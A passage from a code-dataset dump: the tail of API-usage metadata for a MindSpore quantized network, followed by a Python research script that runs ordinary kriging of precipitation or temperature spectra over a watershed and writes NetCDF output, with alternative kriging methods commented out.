"mindspore.nn.ReLU6", "line_number": 47, "usage_type": "call"}, {"api_name": "mindspore.nn", "line_number": 47, "usage_type": "name"}, {"api_name": "mindspore.nn.Cell", "line_number": 53, "usage_type": "attribute"}, {"api_name": "mindspore.nn", "line_number": 53, "usage_type": "name"}, {"api_name": "mindspore.nn.ReLU", "line_number": 67, "usage_type": "call"}, {"api_name": "mindspore.nn", "line_number": 67, "usage_type": "name"}, {"api_name": "mindspore.nn.ReLU6", "line_number": 69, "usage_type": "call"}, {"api_name": "mindspore.nn", "line_number": 69, "usage_type": "name"}, {"api_name": "mindspore.nn.HSwish", "line_number": 73, "usage_type": "call"}, {"api_name": "mindspore.nn", "line_number": 73, "usage_type": "name"}, {"api_name": "mindspore.nn.Cell", "line_number": 81, "usage_type": "attribute"}, {"api_name": "mindspore.nn", "line_number": 81, "usage_type": "name"}, {"api_name": "mindspore.ops.operations.ReduceMean", "line_number": 96, "usage_type": "call"}, {"api_name": "mindspore.ops.operations", "line_number": 96, "usage_type": "name"}, {"api_name": "mindspore.nn.Cell", "line_number": 103, "usage_type": "attribute"}, {"api_name": "mindspore.nn", "line_number": 103, "usage_type": "name"}, {"api_name": "quant.QuanConv", "line_number": 122, "usage_type": "call"}, {"api_name": "quant.QuanConv", "line_number": 125, "usage_type": "call"}, {"api_name": "mindspore.ops.operations.Mul", "line_number": 128, "usage_type": "call"}, {"api_name": "mindspore.ops.operations", "line_number": 128, "usage_type": "name"}, {"api_name": "mindspore.nn.Cell", "line_number": 140, "usage_type": "attribute"}, {"api_name": "mindspore.nn", "line_number": 140, "usage_type": "name"}, {"api_name": "quant.QuanConv", "line_number": 164, "usage_type": "call"}, {"api_name": "mindspore.nn.BatchNorm2d", "line_number": 172, "usage_type": "call"}, {"api_name": "mindspore.nn", "line_number": 172, "usage_type": "name"}, {"api_name": "mindspore.nn.Cell", "line_number": 184, "usage_type": "attribute"}, {"api_name": "mindspore.nn", "line_number": 184, "usage_type": "name"}, {"api_name": "math.ceil", "line_number": 209, "usage_type": "call"}, {"api_name": "mindspore.ops.operations.Concat", "line_number": 216, "usage_type": "call"}, {"api_name": "mindspore.ops.operations", "line_number": 216, "usage_type": "name"}, {"api_name": "mindspore.nn.Cell", "line_number": 224, "usage_type": "attribute"}, {"api_name": "mindspore.nn", "line_number": 224, "usage_type": "name"}, {"api_name": "mindspore.nn.SequentialCell", "line_number": 267, "usage_type": "call"}, {"api_name": "mindspore.nn", "line_number": 267, "usage_type": "name"}, {"api_name": "mindspore.ops.operations.Add", "line_number": 273, "usage_type": "call"}, {"api_name": "mindspore.ops.operations", "line_number": 273, "usage_type": "name"}, {"api_name": "mindspore.nn.Cell", "line_number": 305, "usage_type": "attribute"}, {"api_name": "mindspore.nn", "line_number": 305, "usage_type": "name"}, {"api_name": "quant.QuanConv", "line_number": 329, "usage_type": "call"}, {"api_name": "mindspore.nn.BatchNorm2d", "line_number": 333, "usage_type": "call"}, {"api_name": "mindspore.nn", "line_number": 333, "usage_type": "name"}, {"api_name": "mindspore.nn.SequentialCell", "line_number": 350, "usage_type": "call"}, {"api_name": "mindspore.nn", "line_number": 350, "usage_type": "name"}, {"api_name": "quant.QuanConv", "line_number": 353, "usage_type": "call"}, {"api_name": "mindspore.ops.operations.Flatten", "line_number": 358, "usage_type": "call"}, {"api_name": "mindspore.ops.operations", "line_number": 358, "usage_type": "name"}, {"api_name": "mindspore.nn.Dropout", "line_number": 361, "usage_type": "call"}, {"api_name": "mindspore.nn", "line_number": 361, "usage_type": "name"}, {"api_name": "mindspore.nn.Dense", "line_number": 363, "usage_type": "call"}, {"api_name": "mindspore.nn", "line_number": 363, "usage_type": "name"}, {"api_name": "mindspore.nn.Conv2d", "line_number": 405, "usage_type": "attribute"}, {"api_name": "mindspore.nn", "line_number": 405, "usage_type": "name"}, {"api_name": "mindspore.Tensor", "line_number": 407, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 407, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 407, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 407, "usage_type": "call"}, {"api_name": "mindspore.Tensor", "line_number": 411, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 411, "usage_type": "call"}, {"api_name": "mindspore.nn.BatchNorm2d", "line_number": 412, "usage_type": "attribute"}, {"api_name": "mindspore.nn", "line_number": 412, "usage_type": "name"}, {"api_name": "mindspore.Tensor", "line_number": 414, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 414, "usage_type": "call"}, {"api_name": "mindspore.Tensor", "line_number": 416, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 416, "usage_type": "call"}, {"api_name": "mindspore.nn.Dense", "line_number": 417, "usage_type": "attribute"}, {"api_name": "mindspore.nn", "line_number": 417, "usage_type": "name"}, {"api_name": "mindspore.Tensor", "line_number": 418, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 418, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 418, "usage_type": "attribute"}, {"api_name": "mindspore.Tensor", "line_number": 422, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 422, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 490, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 491, "usage_type": "call"}]} {"seq_id": "492712737", "text": "'''\r\n@author: Faizan-Uni-Stuttgart\r\n\r\nNov 11, 2020\r\n\r\n4:01:31 PM\r\n\r\n'''\r\nimport os\r\nimport time\r\nimport timeit\r\nfrom pathlib import Path\r\n\r\nfrom math import ceil\r\n\r\nos.environ[str('MKL_NUM_THREADS')] = str(1)\r\nos.environ[str('NUMEXPR_NUM_THREADS')] = str(1)\r\nos.environ[str('OMP_NUM_THREADS')] = str(1)\r\n\r\nimport ogr\r\n# import gdal\r\nimport numpy as np\r\nimport pandas as pd\r\nimport netCDF4 as nc\r\n# import shapefile as shp\r\n\r\nimport matplotlib.pyplot as plt\r\nfrom pathos.multiprocessing import ProcessPool\r\n\r\nfrom faizpy import get_aligned_shp_bds_and_cell_size, cnvt_to_pt, chk_cntmt\r\nfrom krige_mp_ftns_ft import (\r\n ordinary_kriging,)\r\n# simple_kriging,\r\n# external_drift_kriging,\r\n# inverse_distance_wtng)\r\n\r\nplt.ioff()\r\n\r\nDEBUG_FLAG = True\r\n\r\n\r\ndef main():\r\n\r\n main_dir = Path(\r\n r'P:\\Synchronize\\IWS\\Testings\\fourtrans_practice\\multisite_phs_spec_corr\\5min')\r\n\r\n os.chdir(main_dir)\r\n\r\n interp_var = 'ppt'\r\n\r\n ft_type = 'phs'\r\n\r\n #==========================================================================\r\n if interp_var == 'temp':\r\n # MEAN TEMPERATURE\r\n in_data_file = os.path.join(\r\n f'temperature_{ft_type}_spec_df.csv')\r\n\r\n in_vgs_file = os.path.join(\r\n r'temperature_cftns.csv')\r\n\r\n in_stns_coords_file = os.path.join(\r\n os.path.dirname(in_data_file),\r\n r'temperature_avg_coords.csv')\r\n\r\n out_dir = r'temperature_kriging'\r\n var_units = u'\\u2103' # 'centigrade'\r\n var_name = 'temperature'\r\n out_krig_net_cdf_file = f'kriging_1km_{ft_type}.nc'\r\n\r\n # interpolated values\r\n # can be int, float, 'min_in'/'max_in' or None\r\n # min_var_val = 'min_in'\r\n # max_var_val = 'max_in'\r\n# min_var_val = None\r\n# max_var_val = None\r\n\r\n #==========================================================================\r\n\r\n #==========================================================================\r\n elif interp_var == 'ppt':\r\n # PRECIPITATION\r\n in_data_file = os.path.join(\r\n f'ppt_median_{ft_type}_spec_df.csv')\r\n\r\n in_vgs_file = os.path.join(\r\n r'ppt_median_cftns.csv')\r\n\r\n in_stns_coords_file = os.path.join(\r\n os.path.dirname(in_data_file),\r\n r'metadata_ppt_gkz3_crds_subset.csv')\r\n\r\n out_dir = r'ppt_kg'\r\n var_units = 'mm'\r\n var_name = 'precipitation'\r\n out_krig_net_cdf_file = f'kg_1km_{ft_type}.nc'\r\n\r\n # interpolated values\r\n # can be int, float, 'min_in'/'max_in' or None\r\n # min_var_val = 'min_in'\r\n # max_var_val = 'max_in'\r\n# min_var_val = None\r\n# max_var_val = None\r\n\r\n #==========================================================================\r\n else:\r\n raise ValueError(f'Invalid value for interp_var: {interp_var}!')\r\n\r\n out_krig_net_cdf_file = out_krig_net_cdf_file\r\n\r\n # assuming in_drift_raster and in_stns_coords_file and in_bounds_shp_file\r\n # have the same coordinates system\r\n # assuming in_drift_rasters_list have the same cell sizes, bounds and NDVs\r\n # basically they are copies of each other except for the drift values\r\n in_drift_rasters_list = (\r\n [r'P:\\Synchronize\\IWS\\QGIS_Neckar\\raster\\lower_de_gauss_z3_1km.tif'])\r\n\r\n# in_bounds_shp_file = (\r\n# os.path.join(r'P:\\Synchronize\\IWS\\QGIS_Neckar\\raster',\r\n# r'taudem_out_spate_rockenau\\watersheds.shp'))\r\n\r\n in_bounds_shp_file = (\r\n os.path.join(r'P:\\Synchronize\\IWS\\QGIS_Neckar\\raster\\taudem_out_spate_rockenau\\watersheds.shp'))\r\n\r\n align_ras_file = in_drift_rasters_list[0]\r\n\r\n out_figs_dir = os.path.join(out_dir, 'krige_figs')\r\n\r\n x_coords_lab = 'X'\r\n y_coords_lab = 'Y'\r\n time_dim_lab = 'freq'\r\n nc_mode = 'w'\r\n\r\n# min_ppt_thresh = 1.0\r\n\r\n idw_exp = 5\r\n n_cpus = 1\r\n buffer_dist = 20e3\r\n sec_buffer_dist = 2e3\r\n\r\n in_sep = str(';')\r\n\r\n ord_krige_flag = True\r\n sim_krige_flag = True\r\n edk_krige_flag = True\r\n idw_flag = True\r\n plot_figs_flag = True\r\n\r\n# ord_krige_flag = False\r\n sim_krige_flag = False\r\n edk_krige_flag = False\r\n idw_flag = False\r\n plot_figs_flag = False\r\n\r\n os.chdir(main_dir)\r\n\r\n if not os.path.exists(out_dir):\r\n os.mkdir(out_dir)\r\n\r\n if (not os.path.exists(out_figs_dir)) and plot_figs_flag:\r\n os.mkdir(out_figs_dir)\r\n\r\n# print('min_var_val:', min_var_val)\r\n# print('max_var_val:', max_var_val)\r\n print('idw_exp:', idw_exp)\r\n print('n_cpus:', n_cpus)\r\n print('nc_mode:', nc_mode)\r\n print('var_name:', var_name)\r\n print('out_dir:', out_dir)\r\n print('in_bounds_shp_file:', in_bounds_shp_file)\r\n print('out_krig_net_cdf_file:', out_krig_net_cdf_file)\r\n\r\n assert any([ord_krige_flag, sim_krige_flag, edk_krige_flag, idw_flag])\r\n\r\n #==========================================================================\r\n # read the data frames\r\n #==========================================================================\r\n in_data_df = pd.read_csv(\r\n in_data_file,\r\n sep=in_sep,\r\n index_col=0,\r\n encoding='utf-8')\r\n\r\n in_vgs_df = pd.read_csv(\r\n in_vgs_file,\r\n sep=in_sep,\r\n index_col=0,\r\n encoding='utf-8')\r\n\r\n in_stns_coords_df = pd.read_csv(\r\n in_stns_coords_file,\r\n sep=in_sep,\r\n index_col=0,\r\n encoding='utf-8')\r\n\r\n all_stns = in_data_df.columns.intersection(in_stns_coords_df.index)\r\n assert all_stns.shape[0]\r\n\r\n in_data_df = in_data_df.loc[:, all_stns]\r\n in_stns_coords_df = in_stns_coords_df.loc[all_stns, :]\r\n\r\n #==========================================================================\r\n # Get stations that are around/in the bounds_shp only\r\n #==========================================================================\r\n\r\n bds_vec = ogr.Open(in_bounds_shp_file)\r\n assert bds_vec\r\n\r\n bds_lyr = bds_vec.GetLayer(0)\r\n\r\n feat_buffs_list = []\r\n feat_sec_buffs_list = []\r\n for feat in bds_lyr: # just to get the names of the catchments\r\n geom = feat.GetGeometryRef().Clone()\r\n assert geom\r\n\r\n feat_buffs_list.append(geom.Buffer(buffer_dist))\r\n feat_sec_buffs_list.append(geom.Buffer(sec_buffer_dist))\r\n\r\n bds_vec.Destroy()\r\n\r\n assert feat_buffs_list and feat_sec_buffs_list\r\n\r\n print(len(feat_buffs_list), 'polygons in the in_bounds_shp_file...')\r\n\r\n fin_stns = []\r\n for poly in feat_buffs_list:\r\n for stn in all_stns:\r\n if stn in fin_stns:\r\n continue\r\n\r\n curr_pt = cnvt_to_pt(\r\n *in_stns_coords_df.loc[stn, ['X', 'Y']].values)\r\n\r\n if chk_cntmt(curr_pt, poly):\r\n fin_stns.append(stn)\r\n\r\n assert fin_stns\r\n\r\n print('%d stations out of %d within buffer zone of in_bounds_shp_file' %\r\n (len(fin_stns), in_stns_coords_df.shape[0]))\r\n\r\n fin_stns = np.unique(fin_stns)\r\n in_data_df = in_data_df.loc[:, fin_stns]\r\n in_stns_coords_df = in_stns_coords_df.loc[fin_stns, :]\r\n\r\n #==========================================================================\r\n # Read the DEM\r\n #==========================================================================\r\n\r\n# if edk_krige_flag:\r\n# in_drift_arr_list = []\r\n# _rows_list = []\r\n# _cols_list = []\r\n#\r\n# for in_drift_raster in in_drift_rasters_list:\r\n# in_drift_ds = gdal.Open(in_drift_raster)\r\n#\r\n# assert in_drift_ds, 'GDAL cannot open %s' % in_drift_raster\r\n#\r\n# drift_rows = in_drift_ds.RasterYSize\r\n# drift_cols = in_drift_ds.RasterXSize\r\n#\r\n# drift_geotransform = in_drift_ds.GetGeoTransform()\r\n#\r\n# _drift_x_min = drift_geotransform[0]\r\n# _drift_y_max = drift_geotransform[3]\r\n#\r\n# drift_band = in_drift_ds.GetRasterBand(1)\r\n# drift_ndv = drift_band.GetNoDataValue()\r\n#\r\n# cell_width = drift_geotransform[1]\r\n# cell_height = abs(drift_geotransform[5])\r\n#\r\n# _drift_x_max = _drift_x_min + (drift_cols * cell_width)\r\n# _drift_y_min = _drift_y_max - (drift_rows * cell_height)\r\n#\r\n# _arr = in_drift_ds.ReadAsArray()\r\n#\r\n# in_drift_arr_list.append(_arr)\r\n# _rows_list.append(_arr.shape[0])\r\n# _cols_list.append(_arr.shape[1])\r\n#\r\n# assert all(_ == _rows_list[0] for _ in _rows_list), (\r\n# 'Drift raster have unequal number of rows!')\r\n#\r\n# assert all(_ == _cols_list[0] for _ in _cols_list), (\r\n# 'Drift raster have unequal number of columns!')\r\n\r\n #==========================================================================\r\n # Read the bounding shapefile\r\n #==========================================================================\r\n# sf = shp.Reader(in_bounds_shp_file)\r\n# polys_list = [i.__geo_interface__ for i in sf.iterShapes()]\r\n\r\n ((fin_x_min,\r\n fin_x_max,\r\n fin_y_min,\r\n fin_y_max),\r\n cell_width) = get_aligned_shp_bds_and_cell_size(\r\n in_bounds_shp_file, align_ras_file)\r\n\r\n cell_height = cell_width\r\n\r\n fin_x_min -= 2 * cell_width\r\n fin_x_max += 2 * cell_width\r\n fin_y_min -= 2 * cell_height\r\n fin_y_max += 2 * cell_height\r\n\r\n# if edk_krige_flag:\r\n# assert fin_x_min > _drift_x_min\r\n# assert fin_x_max < _drift_x_max\r\n# assert fin_y_min > _drift_y_min\r\n# assert fin_y_max < _drift_y_max\r\n#\r\n# min_col = int(max(0, (fin_x_min - _drift_x_min) / cell_width))\r\n# max_col = int(ceil((fin_x_max - _drift_x_min) / cell_width))\r\n#\r\n# min_row = int(max(0, (_drift_y_max - fin_y_max) / cell_height))\r\n# max_row = int(ceil((_drift_y_max - fin_y_min) / cell_height))\r\n#\r\n# else:\r\n min_col = 0\r\n max_col = int(ceil((fin_x_max - fin_x_min) / cell_width))\r\n\r\n min_row = 0\r\n max_row = int(ceil((fin_y_max - fin_y_min) / cell_height))\r\n\r\n #==========================================================================\r\n # Calculate coordinates at which to krige\r\n #==========================================================================\r\n\r\n assert 0 <= min_col <= max_col, (min_col, max_col)\r\n assert 0 <= min_row <= max_row, (min_row, max_row)\r\n\r\n strt_x_coord = fin_x_min + (0.5 * cell_width)\r\n end_x_coord = strt_x_coord + ((max_col - min_col) * cell_width)\r\n\r\n strt_y_coord = fin_y_max - (0.5 * cell_height)\r\n end_y_coord = strt_y_coord - ((max_row - min_row) * cell_height)\r\n\r\n krige_x_coords = np.linspace(\r\n strt_x_coord, end_x_coord, (max_col - min_col + 1))\r\n\r\n krige_y_coords = np.linspace(\r\n strt_y_coord, end_y_coord, (max_row - min_row + 1))\r\n\r\n krige_x_coords_mesh, krige_y_coords_mesh = np.meshgrid(\r\n krige_x_coords, krige_y_coords)\r\n\r\n krige_coords_orig_shape = krige_x_coords_mesh.shape\r\n\r\n# if plot_figs_flag:\r\n# # xy coords for pcolormesh\r\n# pcolmesh_x_coords = np.linspace(\r\n# fin_x_min, fin_x_max, (max_col - min_col + 1))\r\n#\r\n# pcolmesh_y_coords = np.linspace(\r\n# fin_y_max, fin_y_min, (max_row - min_row + 1))\r\n#\r\n# krige_x_coords_plot_mesh, krige_y_coords_plot_mesh = (\r\n# np.meshgrid(pcolmesh_x_coords, pcolmesh_y_coords))\r\n#\r\n# else:\r\n# krige_x_coords_plot_mesh, krige_y_coords_plot_mesh = None, None\r\n\r\n krige_x_coords_mesh = krige_x_coords_mesh.ravel()\r\n krige_y_coords_mesh = krige_y_coords_mesh.ravel()\r\n\r\n# print('\\n\\n')\r\n# print('#' * 10)\r\n#\r\n# _beg_t = timeit.default_timer()\r\n#\r\n# print(krige_x_coords_mesh.shape[0],\r\n# 'cells to interpolate per step before intersection!')\r\n#\r\n fin_cntn_idxs = np.ones(krige_x_coords_mesh.shape[0], dtype=bool)\r\n# fin_cntn_idxs = np.zeros(krige_x_coords_mesh.shape[0], dtype=bool)\r\n# ogr_pts = np.vectorize(cnvt_to_pt)(krige_x_coords_mesh, krige_y_coords_mesh)\r\n#\r\n# for poly in feat_sec_buffs_list:\r\n# curr_cntn_idxs = np.vectorize(chk_cntmt)(ogr_pts, poly)\r\n# fin_cntn_idxs = fin_cntn_idxs | curr_cntn_idxs\r\n#\r\n# print(fin_cntn_idxs.sum(),\r\n# 'cells to interpolate per step after intersection!')\r\n#\r\n# _end_t = timeit.default_timer()\r\n# _tot_t = _end_t - _beg_t\r\n#\r\n# print(f'Took {_tot_t:0.4f} seconds!')\r\n# print('#' * 10)\r\n#\r\n# krige_x_coords_mesh = krige_x_coords_mesh[fin_cntn_idxs]\r\n# krige_y_coords_mesh = krige_y_coords_mesh[fin_cntn_idxs]\r\n\r\n# if edk_krige_flag:\r\n# drift_vals_list = []\r\n#\r\n# krige_cols = np.arange(min_col, max_col + 1, dtype=int)\r\n# krige_rows = np.arange(min_row, max_row + 1, dtype=int)\r\n#\r\n# assert krige_x_coords.shape[0] == krige_cols.shape[0]\r\n# assert krige_y_coords.shape[0] == krige_rows.shape[0]\r\n#\r\n# (krige_drift_cols_mesh,\r\n# krige_drift_rows_mesh) = np.meshgrid(krige_cols, krige_rows)\r\n#\r\n# krige_drift_cols_mesh = krige_drift_cols_mesh.ravel()\r\n# krige_drift_rows_mesh = krige_drift_rows_mesh.ravel()\r\n#\r\n# krige_drift_cols_mesh = krige_drift_cols_mesh[fin_cntn_idxs]\r\n# krige_drift_rows_mesh = krige_drift_rows_mesh[fin_cntn_idxs]\r\n#\r\n# for _drift_arr in in_drift_arr_list:\r\n# _drift_vals = _drift_arr[\r\n# krige_drift_rows_mesh, krige_drift_cols_mesh]\r\n#\r\n# drift_vals_list.append(_drift_vals)\r\n#\r\n# # drift_vals_arr = np.array(drift_vals_list, dtype=float)\r\n#\r\n# drift_df_cols = list(range(len(in_drift_rasters_list)))\r\n# in_stns_drift_df = pd.DataFrame(\r\n# index=in_stns_coords_df.index,\r\n# columns=drift_df_cols,\r\n# dtype=float)\r\n#\r\n# for stn in in_stns_drift_df.index:\r\n# stn_x = in_stns_coords_df.loc[stn, x_coords_lab]\r\n# stn_y = in_stns_coords_df.loc[stn, y_coords_lab]\r\n#\r\n# stn_col = int((stn_x - _drift_x_min) / cell_width)\r\n# stn_row = int((_drift_y_max - stn_y) / cell_height)\r\n#\r\n# for col, _arr in zip(drift_df_cols, in_drift_arr_list):\r\n# try:\r\n# _ = _arr[stn_row, stn_col]\r\n# if not np.isclose(drift_ndv, _):\r\n# in_stns_drift_df.loc[stn, col] = _\r\n#\r\n# except IndexError:\r\n# pass\r\n#\r\n# in_stns_drift_df.dropna(inplace=True)\r\n\r\n #==========================================================================\r\n # Open NC\r\n #==========================================================================\r\n out_nc = nc.Dataset(\r\n os.path.join(out_dir, out_krig_net_cdf_file), mode=str(nc_mode))\r\n\r\n if nc_mode == 'w':\r\n out_nc.set_auto_mask(False)\r\n out_nc.createDimension(x_coords_lab, krige_x_coords.shape[0])\r\n out_nc.createDimension(y_coords_lab, krige_y_coords.shape[0])\r\n out_nc.createDimension(time_dim_lab, in_data_df.shape[0])\r\n\r\n x_coords_nc = out_nc.createVariable(\r\n x_coords_lab, 'd', dimensions=x_coords_lab)\r\n\r\n x_coords_nc[:] = krige_x_coords\r\n\r\n y_coords_nc = out_nc.createVariable(\r\n y_coords_lab, 'd', dimensions=y_coords_lab)\r\n\r\n y_coords_nc[:] = krige_y_coords\r\n\r\n time_nc = out_nc.createVariable(\r\n time_dim_lab, 'i8', dimensions=time_dim_lab)\r\n\r\n time_nc[:] = np.arange(in_data_df.shape[0])\r\n\r\n else:\r\n raise RuntimeError('Not configured for this option!')\r\n\r\n time_nc = out_nc.variables[time_dim_lab]\r\n krige_y_coords = y_coords_nc[:]\r\n krige_x_coords = x_coords_nc[:]\r\n\r\n #==========================================================================\r\n # MP stuff\r\n #==========================================================================\r\n mp_cond = False\r\n\r\n if ((n_cpus > 1) and (in_data_df.shape[0] > (n_cpus + 1))):\r\n idxs = pd.np.linspace(\r\n 0,\r\n in_data_df.shape[0],\r\n (n_cpus) + 1,\r\n endpoint=True,\r\n dtype=int)\r\n\r\n idxs = np.unique(idxs)\r\n print('MP idxs:', idxs)\r\n\r\n if idxs.shape[0] == 1:\r\n idxs = np.concatenate((np.array([0]), idxs))\r\n\r\n mp_cond = True\r\n\r\n else:\r\n idxs = [0, in_data_df.shape[0]]\r\n\r\n #==========================================================================\r\n # Krige\r\n #==========================================================================\r\n if ord_krige_flag:\r\n print('\\n\\n')\r\n print('#' * 10)\r\n\r\n _beg_t = timeit.default_timer()\r\n\r\n print('Ordinary Kriging...')\r\n\r\n if 'OK' not in out_nc.variables:\r\n ok_nc = out_nc.createVariable(\r\n 'OK',\r\n 'd',\r\n dimensions=(time_dim_lab, y_coords_lab, x_coords_lab),\r\n fill_value=False)\r\n\r\n else:\r\n ok_nc = out_nc.variables['OK']\r\n\r\n ok_vars_gen = ((in_data_df.iloc[idxs[i]:idxs[i + 1]],\r\n in_stns_coords_df,\r\n in_vgs_df.loc[ft_type][0],\r\n krige_x_coords_mesh,\r\n krige_y_coords_mesh,\r\n krige_coords_orig_shape,\r\n (idxs[i], idxs[i + 1]),\r\n fin_cntn_idxs) for i in range(n_cpus))\r\n\r\n if mp_cond:\r\n ok_krige_flds = np.full(\r\n (in_data_df.shape[0],\r\n krige_coords_orig_shape[0],\r\n krige_coords_orig_shape[1]),\r\n np.nan,\r\n dtype=np.float32)\r\n\r\n mp_ress = []\r\n\r\n try:\r\n mp_pool = ProcessPool(n_cpus)\r\n mp_pool.restart(True)\r\n\r\n mp_ress = list(mp_pool.uimap(ordinary_kriging, ok_vars_gen))\r\n\r\n mp_pool.clear()\r\n\r\n except Exception as msg:\r\n mp_pool.close()\r\n mp_pool.join()\r\n print('Error in ordinary_kriging:', msg)\r\n\r\n for mp_res in mp_ress:\r\n if (len(mp_res) != 3) and (not isinstance(list)):\r\n print('\\n', mp_res, '\\n')\r\n continue\r\n\r\n [strt_index, end_index, sub_ok_krige_flds] = mp_res\r\n ok_krige_flds[strt_index:end_index] = sub_ok_krige_flds\r\n\r\n # free memory\r\n mp_res[2], sub_ok_krige_flds = None, None\r\n\r\n ok_nc[:] = ok_krige_flds\r\n\r\n else:\r\n [strt_index,\r\n end_index,\r\n ok_krige_flds] = ordinary_kriging(next(ok_vars_gen))\r\n\r\n ok_nc[:] = ok_krige_flds\r\n\r\n ok_nc.units = var_units\r\n ok_nc.standard_name = var_name + ' (ordinary kriging)'\r\n\r\n ok_krige_flds = None\r\n\r\n _end_t = timeit.default_timer()\r\n _tot_t = _end_t - _beg_t\r\n\r\n print(f'Took {_tot_t:0.4f} seconds!')\r\n print('#' * 10)\r\n\r\n# if sim_krige_flag:\r\n# print('\\n\\n')\r\n# print('#' * 10)\r\n#\r\n# _beg_t = timeit.default_timer()\r\n#\r\n# print('Simple Kriging...')\r\n# if 'SK' not in out_nc.variables:\r\n# sk_nc = out_nc.createVariable(\r\n# 'SK',\r\n# 'd',\r\n# dimensions=(time_dim_lab, y_coords_lab, x_coords_lab),\r\n# fill_value=False)\r\n#\r\n# else:\r\n# sk_nc = out_nc.variables['SK']\r\n#\r\n# sk_vars_gen = ((in_data_df.iloc[idxs[i]:idxs[i + 1]],\r\n# in_stns_coords_df,\r\n# in_vgs_df.iloc[idxs[i]:idxs[i + 1]],\r\n# min_ppt_thresh,\r\n# var_name,\r\n# krige_x_coords_mesh,\r\n# krige_y_coords_mesh,\r\n# krige_coords_orig_shape,\r\n# min_var_val,\r\n# max_var_val,\r\n# (idxs[i], idxs[i + 1]),\r\n# plot_figs_flag,\r\n# krige_x_coords_plot_mesh,\r\n# krige_y_coords_plot_mesh,\r\n# var_units,\r\n# polys_list,\r\n# out_figs_dir,\r\n# fin_cntn_idxs) for i in range(n_cpus))\r\n#\r\n# if mp_cond:\r\n# sk_krige_flds = np.full(\r\n# (in_data_df.shape[0],\r\n# krige_coords_orig_shape[0],\r\n# krige_coords_orig_shape[1]),\r\n# np.nan,\r\n# dtype=np.float32)\r\n#\r\n# mp_ress = []\r\n#\r\n# try:\r\n# mp_pool = ProcessPool(n_cpus)\r\n# mp_pool.restart(True)\r\n#\r\n# mp_ress = list(mp_pool.uimap(simple_kriging, sk_vars_gen))\r\n#\r\n# mp_pool.clear()\r\n#\r\n# except Exception as msg:\r\n# mp_pool.close()\r\n# mp_pool.join()\r\n# print('Error in simple_kriging:', msg)\r\n#\r\n# for mp_res in mp_ress:\r\n# if (len(mp_res) != 3) and (not isinstance(list)):\r\n# print('\\n', mp_res, '\\n')\r\n# continue\r\n#\r\n# [strt_index, end_index, sub_sk_krige_flds] = mp_res\r\n# sk_krige_flds[strt_index:end_index] = sub_sk_krige_flds\r\n#\r\n# # free memory\r\n# mp_res[2], sub_sk_krige_flds = None, None\r\n#\r\n# sk_nc[:] = sk_krige_flds\r\n#\r\n# else:\r\n# [strt_index,\r\n# end_index,\r\n# sk_krige_flds] = simple_kriging(next(sk_vars_gen))\r\n#\r\n# sk_nc[:] = sk_krige_flds\r\n#\r\n# sk_nc.units = var_units\r\n# sk_nc.standard_name = var_name + ' (simple kriging)'\r\n#\r\n# sk_krige_flds = None\r\n#\r\n# _end_t = timeit.default_timer()\r\n# _tot_t = _end_t - _beg_t\r\n#\r\n# print(f'Took {_tot_t:0.4f} seconds!')\r\n# print('#' * 10)\r\n#\r\n# if edk_krige_flag:\r\n# print('\\n\\n')\r\n# print('#' * 10)\r\n#\r\n# _beg_t = timeit.default_timer()\r\n#\r\n# print('External Drift Kriging...')\r\n# if 'EDK' not in out_nc.variables:\r\n# edk_nc = out_nc.createVariable(\r\n# 'EDK',\r\n# 'd',\r\n# dimensions=(time_dim_lab, y_coords_lab, x_coords_lab),\r\n# fill_value=False)\r\n#\r\n# else:\r\n# edk_nc = out_nc.variables['EDK']\r\n#\r\n# edk_vars_gen = ((in_data_df.iloc[idxs[i]:idxs[i + 1]],\r\n# in_stns_drift_df,\r\n# in_stns_coords_df,\r\n# in_vgs_df.iloc[idxs[i]:idxs[i + 1]],\r\n# min_ppt_thresh,\r\n# var_name,\r\n# krige_x_coords_mesh,\r\n# krige_y_coords_mesh,\r\n# drift_vals_arr,\r\n# krige_coords_orig_shape,\r\n# drift_ndv,\r\n# min_var_val,\r\n# max_var_val,\r\n# (idxs[i], idxs[i + 1]),\r\n# plot_figs_flag,\r\n# krige_x_coords_plot_mesh,\r\n# krige_y_coords_plot_mesh,\r\n# var_units,\r\n# polys_list,\r\n# out_figs_dir,\r\n# fin_cntn_idxs) for i in range(n_cpus))\r\n#\r\n# if mp_cond:\r\n# edk_krige_flds = np.full(\r\n# (in_data_df.shape[0],\r\n# krige_coords_orig_shape[0],\r\n# krige_coords_orig_shape[1]),\r\n# np.nan,\r\n# dtype=np.float32)\r\n#\r\n# mp_ress = []\r\n#\r\n# try:\r\n# mp_pool = ProcessPool(n_cpus)\r\n# mp_pool.restart(True)\r\n#\r\n# mp_ress = list(mp_pool.uimap(\r\n# external_drift_kriging, edk_vars_gen))\r\n#\r\n# mp_pool.clear()\r\n#\r\n# except Exception as msg:\r\n# mp_pool.close()\r\n# mp_pool.join()\r\n# print('Error in external_drift_kriging:', msg)\r\n#\r\n# for mp_res in mp_ress:\r\n# if (len(mp_res) != 3) and (not isinstance(list)):\r\n# print('\\n', mp_res, '\\n')\r\n# continue\r\n#\r\n# [strt_index, end_index, sub_edk_krige_flds] = mp_res\r\n# edk_krige_flds[strt_index:end_index] = sub_edk_krige_flds\r\n#\r\n# print('sub_min:', np.nanmin(sub_edk_krige_flds))\r\n# print('sub_max:', np.nanmax(sub_edk_krige_flds))\r\n#\r\n# # free memory\r\n# mp_res[2], sub_edk_krige_flds = None, None\r\n#\r\n# else:\r\n# [strt_index,\r\n# end_index,\r\n# edk_krige_flds] = external_drift_kriging(next(edk_vars_gen))\r\n#\r\n# edk_nc[:] = edk_krige_flds\r\n#\r\n# edk_nc.units = var_units\r\n# edk_nc.standard_name = var_name + ' (external drift kriging)'\r\n#\r\n# edk_krige_flds = None\r\n#\r\n# _end_t = timeit.default_timer()\r\n# _tot_t = _end_t - _beg_t\r\n#\r\n# print(f'Took {_tot_t:0.4f} seconds!')\r\n# print('#' * 10)\r\n#\r\n# #==========================================================================\r\n# # IDW\r\n# #==========================================================================\r\n# if 